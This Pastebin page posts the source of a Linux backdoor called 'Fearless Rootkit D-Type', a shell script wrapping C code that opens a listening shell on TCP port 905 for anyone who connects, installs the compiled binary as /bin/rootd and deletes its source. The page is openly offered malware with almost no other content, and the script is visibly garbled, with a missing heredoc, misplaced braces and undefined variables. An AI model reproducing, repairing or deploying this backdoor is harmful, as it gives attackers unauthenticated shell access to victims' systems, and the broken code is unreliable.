FlyFar

Backdoor.Linux.Rootin.b/Fearless Rootkit D-Type v0.1 - Source Code

May 15th, 2024
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.02 KB | Cybersecurity | 0 0
  1. #!/bin/sh
  2.  
  3. # Fearless Rootkit D-Type v0.1
  4. # Coded by Merlion
  5. # Website: http://areyoufearless.com
  6.  
  7. # chmod 755 rootd.sh
  8. # ./rootd.sh
  9. # telnet to port 905 & run commands. End each command with a semicolon (;)
  10.  
  11.  
  12.  
  13.                      
  14.  
  15. #include <stdio.h>
  16. #include <string.h>
  17. #include <netdb.h>
  18. #include <netinet/in.h>
  19. #include <sys/types.h>
  20. #include <sys/socket.h>
  21. #include <unistd.h>
  22.  
  23. void die(char *error);
  24. main(int argc, char **argv) {
  25. pid_t pid, sid;
  26. int len, clipid, serpid, stat, sock, soklen, sockbind, sockrec, sockopt, sockcli, socklen;
  27. unsigned short int mcon;
  28. unsigned short int port;
  29. char *rbuf, *rmode;
  30. struct sockaddr_in  Client, Server;
  31. if ((sock=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) die("Error creating socket");
  32. if (argc != 3) die("Usage");
  33. memset(&Server, 0, sizeof(Server));
  34. Server.sin_family=AF_INET;
  35. port=905;
  36. mcon=5;
  37. Server.sin_port=htons(port);
  38. Server.sin_addr.s_addr=htonl(INADDR_ANY);
  39. if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *) &sockopt, sizeof(sockopt)) < 0)
  40. die("No socket options set");
  41. if (sockbind=bind(sock, (struct sockaddr *) &Server, sizeof(Server)) != 0)
  42. die("Could not bind socket");
  43. if ((sockbind=listen(sock, mcon)) != 0) die("Failed on listen()");  
  44. pid=fork();
  45. if (pid < 0) die("Initial fork() failed");
  46. if (pid>0) exit(0);
  47. if ((chdir("/")) < 0) die("Could not set working directory");
  48. if ((setsid()) < 0) die("setsid() failed in creating daemon");
  49. umask(0);
  50. close(STDIN_FILENO);
  51. close(STDOUT_FILENO);
  52. close(STDERR_FILENO);
  53. /* You're on your own, pal.. */
  54. while(1) {
  55. socklen=sizeof(Client);
  56. if ((sockcli=accept(sock, (struct sockaddr *) &Client, &socklen)) < 0) exit(1);   /* syslog msg here still */
  57. clipid=getpid();
  58. serpid=fork();
  59. if (serpid > 0)
  60. waitpid(0, &stat, 0);    
  61. dup2(sockcli, 1);
  62. execl("/bin/sh","sh",(char *)0);  }
  63. close(sockcli);   }
  64. void die(char *error) {
  65. fprintf(stderr, "%s\n", error);
  66. exit(1);  }
  67.  
  68. EOF
  69.  
  70. gcc -o /bin/rootd /tmp/rootd.c
  71. rm -f /tmp/rootd.c
  72. rootd $port $max
  73. echo "Rootkit installed at port 905"
  74. exit 0
Add Comment
Please, Sign In to add comment